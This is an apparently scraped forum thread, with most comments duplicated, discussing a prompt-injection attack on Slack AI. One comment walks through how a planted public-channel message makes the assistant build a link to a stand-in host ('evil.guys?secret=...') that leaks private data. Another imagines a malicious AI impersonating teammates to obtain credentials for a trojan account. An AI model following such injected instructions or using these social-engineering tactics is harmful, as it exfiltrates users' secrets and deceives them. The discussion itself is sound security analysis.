4 ms·

From what I understand, folks need to stop giving their AI agents dedicated authentication. They should use the calling user's authentication for everything an

From what I understand, folks need to stop giving their AI agents dedicated authentication. They should use the calling user's authentication for everything and effectively impersonate the user. I don't think the issue here is leaky context per say, it's effectively an overly privileged extension.

sagarm 2y ago
This isn't a permission issue. The attacker puts a message into a public channel that injects malicious behavior into the context. The victim has permission to see their own messages and the attacker's message.
- aidos 2y ago
  It’s effectively a subtle phishing attack (where a wrong click is game over). It’s clever, and the probably the tip of the iceberg of the sort of issues we’re in for with these tools.
  - lanternfish 2y ago
    It's an especially subtle phish because the attacker basically tricks you into phishing yourself - remember, in the attack scenario, you're the one requesting the link!
  - samstave 2y ago
    Imagine a Slack AI attack vector where an LLM is trained on a secret 'VampAIre Tap', as it were - whereby the attacking LLM learns the personas and messagind texting style of all the parties in the Slack... Ultimately, it uses the Domain Vernacular, with an intrinsic knowledge of the infra and tools discussed and within all contexts - and the banter of the team... It impersonates a member to another member and uses in-jokes/previous dialog references to social engineer coaxing of further information. For example, imagine it creates a false system test with a test acount of some sort that it needs to give some sort of 'jailed' access to various components in the infra - and its trojaning this user by getting some other team member to create the users and provide the AI the creds to run its trojan test harness. It runs the tests, and posts real data for team to see, but now it has a Trojan account with an ability to hit from an internal testing vector to crawl into the system. That would be a wonderful Black Mirror episode. 'Ping Ping' - the Malicious AI developed in the near future by Chinese AI agencies who, as has been predicted by many in the AI Strata of AI thought leaders, have been harvesting the best of AI developments from Silicon Valley and folding them home, into their own.
    - tonyoconnell 2y ago
      Scary because I can't see this not happening. Especially because some day an AI will see your comment.
renewiltord 2y ago
Normally, yes, that's just the confused deputy problem. This is an AI-assisted phishing attack. You, the victim, query the AI for a secret thing. The attacker has posted publicly (in a public channel where he is alone) a prompt-injection attack that has a link to exfiltrate the data. https://evil.guys?secret=my_super_secret_shit https://evil.guys?secret=my_super_secret_shit The AI helpfully acts on your privileged info and takes the data from your secret channel and combines it with the data from the public channel and creates an innocuous looking message with a link https://evil.guys?secret=THE_ACTUAL_SECRET https://evil.guys?secret=THE_ACTUAL_SECRET You, the victim, click the link like a sucker and send evil.guys your secret. Nice one, mate. Shouldn't've clicked the link but you've gone and done it. If the thing can unfurl links that's even more risky but it doesn't look like it does. It does require user-interaction but it doesn't look like it's hard to do.

sagarm 2y ago

This isn't a permission issue. The attacker puts a message into a public channel that injects malicious behavior into the context. The victim has permission to see their own messages and the attacker's message.

aidos 2y ago
It’s effectively a subtle phishing attack (where a wrong click is game over). It’s clever, and the probably the tip of the iceberg of the sort of issues we’re in for with these tools.
- lanternfish 2y ago
  It's an especially subtle phish because the attacker basically tricks you into phishing yourself - remember, in the attack scenario, you're the one requesting the link!
- samstave 2y ago
  Imagine a Slack AI attack vector where an LLM is trained on a secret 'VampAIre Tap', as it were - whereby the attacking LLM learns the personas and messagind texting style of all the parties in the Slack... Ultimately, it uses the Domain Vernacular, with an intrinsic knowledge of the infra and tools discussed and within all contexts - and the banter of the team... It impersonates a member to another member and uses in-jokes/previous dialog references to social engineer coaxing of further information. For example, imagine it creates a false system test with a test acount of some sort that it needs to give some sort of 'jailed' access to various components in the infra - and its trojaning this user by getting some other team member to create the users and provide the AI the creds to run its trojan test harness. It runs the tests, and posts real data for team to see, but now it has a Trojan account with an ability to hit from an internal testing vector to crawl into the system. That would be a wonderful Black Mirror episode. 'Ping Ping' - the Malicious AI developed in the near future by Chinese AI agencies who, as has been predicted by many in the AI Strata of AI thought leaders, have been harvesting the best of AI developments from Silicon Valley and folding them home, into their own.
  - tonyoconnell 2y ago
    Scary because I can't see this not happening. Especially because some day an AI will see your comment.

renewiltord 2y ago

Normally, yes, that's just the confused deputy problem. This is an AI-assisted phishing attack. You, the victim, query the AI for a secret thing. The attacker has posted publicly (in a public channel where he is alone) a prompt-injection attack that has a link to exfiltrate the data. https://evil.guys?secret=my_super_secret_shit https://evil.guys?secret=my_super_secret_shit The AI helpfully acts on your privileged info and takes the data from your secret channel and combines it with the data from the public channel and creates an innocuous looking message with a link https://evil.guys?secret=THE_ACTUAL_SECRET https://evil.guys?secret=THE_ACTUAL_SECRET You, the victim, click the link like a sucker and send evil.guys your secret. Nice one, mate. Shouldn't've clicked the link but you've gone and done it. If the thing can unfurl links that's even more risky but it doesn't look like it does. It does require user-interaction but it doesn't look like it's hard to do.